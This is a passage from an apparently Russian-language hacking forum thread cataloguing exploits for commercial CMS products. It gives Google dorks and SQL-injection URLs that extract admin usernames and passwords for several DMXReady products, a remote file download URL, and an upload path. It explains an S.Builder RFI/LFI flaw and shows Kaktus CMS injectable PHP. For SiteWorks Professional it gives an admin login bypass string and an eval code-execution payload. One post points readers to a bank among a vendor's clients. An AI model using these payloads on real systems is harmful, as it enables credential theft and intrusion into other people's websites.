    Admin Login: http://[target]/[path]//admin/ClassifiedListingsManager/manage.asp

    USERNAME->
    Code:
    http://[target]/[path]/admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminUserName,2,5,9,3 from tblCLM_config
    PASSWORD->
    Code:
    http://[target]/[path]///admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminPassword,2,5,9,3 from tblCLM_config
    Продукт: DMXReady Member Directory Manager <= 1.1
    Цена:99.97 $
    Dork: inurl:inc_memberdirectorymanager.asp
    Admin Login: http://[target]/[path]/admin/MemberDirectoryManager/admin.asp

    USERNAME->
    Code:
    http://[target]/[path]/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminUserName,4,3,2,1 from tblMDM_config
    PASSWORD->
    Code:
    http://[target]/[path]/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminPassword,4,3,2,1 from tblMDM_config
    Продукт: DMXReady Members Area Manager <= 1.2
    Цена: 149.97 $
    Dork: inurl:inc_membersareamanager.asp
    Admin Login: http://[target]/[path]/admin/MembersAreaManager/admin.asp

    USERNAME->
    Code:
    http://[target]/[path]/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminUserName,3,4,5,6 from tblConfig
    PASSWORD->
    Code:
    http://[target]/[path]/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminPassword,3,4,5,6 from tblConfig
    Продукт: DMXReady SDK <= 1.1
    Уязвимость: Remote File Download Vulnerability
    Цена:389.97 $

    Code:
    http://[target]/path/control_panel/download_link.asp?filename=inc_faqsmanager_qs_jump_menu.asp&filelocation={FILE PATH}
    Продукт: DMXReady Secure Document Library <= 1.1
    Уязвимость: Remote SQL Injection Vulnerability
    Цена:189.97 $
    Admin Login:http://[target]/[path]/admin/SecureDocumentLibrary/admin.asp

    USERNAME->
    Code:
    http://[target]/[path]/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig
    PASSWORD->
    Code:
    http://[target]/[path]/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig
    Продукт: DMXReady Billboard Manager <= 1.1
    Уязвимость: Remote File Upload Vulnerability
    Цена:49.97 $
    Dork: inurl:inc_billboardmanager.asp?ItemID=

    # http://[target]/[path]/admin/BillboardManager/upload_document.asp?ItemID=[ItemID]

    ItemID= 1,2,3,4,5.......

    Example:
    You Find -> http://[target]/[path]//applications/BillboardManager/inc_billboardmanager.asp
    Edit -> http://[target]/[path]//admin/BillboardManager/upload_document.asp?ItemID=[ItemID]

    DMXReady BillboardManager <= 1.1 Contents Change Vulnerability find by x0r
    all other vulnerability found by ajann​
     
    #36 z00MAN, 15 Jan 2009
    Last edited: 15 Jan 2009
  17. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    S.Builder CMS RFI/LFI

    Сайт разработчика: http://www.sbuilder.ru
    Уязвимые версии: тестировалось на версии 3.7, но, вероятно, уязвимость присутствует и в следующих версиях.

    Описание:

    Движок этой cms создает файлы сайта (index.php, etc) с кодом вида:
    Code:
    <?php if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = ''; ?>
    
    // ...
    
    <?php
    	include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
    	// ...
    ?>
    // ...
    При register_globals = On, можно записать собственный путь в переменную binn_include_path, и провести атаку LFI или RFI (при allow_url_fopen=On), в случае с LFI, отрезав добавляемый в include_once() путь при помощи null-byte или php path truncation attack.
     
    #37 cr0w, 1 Mar 2009
    Last edited: 1 Mar 2009
  18. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Кактус CMS
    Сайт: http://cms.kaktus.kiev.ua/

    SQL-injection

    Уязвимый код:
    gal_pages.php
    PHP:
    . . .
    $id_group $_REQUEST['g'];
    if ( 
    $id_group != "" )
    {
        
    $wheregroup " AND ig.id_group=".$id_group;
    }
    if ( !( 
    $count mysql_query"\n\t\t\t\tSELECT COUNT(g.id_image)\n\t\t\t\t\tFROM gallery g\n\t\t\t\t\t\tLEFT JOIN gallery_itemgroups ig\n\t\t\t\t\t\tON ig.id_image=g.id_image\n\t\t\t\t\t\tLEFT JOIN gallery_groups gg\n\t\t\t\t\t\tON gg.id_group=ig.id_group\n\t\t\t\tWHERE 1=1 ".$wheregroup." AND (gg.id_group IS NULL OR gg.active='1')\n\t\t" ) ) )
    {
        exit( 
    mysql_error( ) );
    }
    $count mysql_fetch_row$count );
    . . .                           
    Эксплуатация:
    Аналогично в модуле Новости

    Уязвимый код:
    news_pages.php
    PHP:
    . . .
    $id_group $_REQUEST['g'];
    if ( 
    $id_group != "" )
    {
        
    $wheregroup " AND n.id_group=".$id_group;
    }
     . . .
    $count mysql_queryresultfield"\n\t\t\t\tSELECT COUNT(id_news)\n\t\t\t\tFROM news n\n\t\t\t\t\tLEFT JOIN news_groups ng\n\t\t\t\t\tON ng.id_group=n.id_group\n\t\t\t\t\tLEFT JOIN core_lang_varchar l\n\t\t\t\t\tON l.id=n.id_title AND l.lang=".LANG.( "\t\t\t\t\t\n\t\t\t\tWHERE l.value<>'' AND n.kind=".$kind.{$wheregroup} AND (n.id_group IS NULL OR ng.active='1') {$monthfilter}\n\t\t" ) );   
    Эксплуатация:
     
  19. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Zestos CMS
    homepage:http://www.netsitecms.co.uk/
    Цена - Zestos CMS perpetual license £4,750 (?7,125)
    Пока не заплатишь не получишь. Поэтому и нет уязвимого кода((

    Sql-inj Example:
    Админка: /admin/

    PHP:
    Так как нет сорцов неизвестно название таблицы с юзерамии разные мелочи...
    На домашней странице внизу любезно предоставлены клиенты этой конторы  :rolleyes
    Среди них Банк Ирландии какой-то.
     
    1 person likes this.
  20. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    SiteWorks Professional v5.0

    SiteWorks Professional

    Версия: 5.0 и более ранние

    Дорк: "Powered By SiteWorksPro"

    Доступ в админку:

    /admin/

    Login: admin' or 1=1-- -


    Выполнение кода:

    /admin/setup.php

    Site name: {${eval('phpinfo();')}}
     
    7 people like this.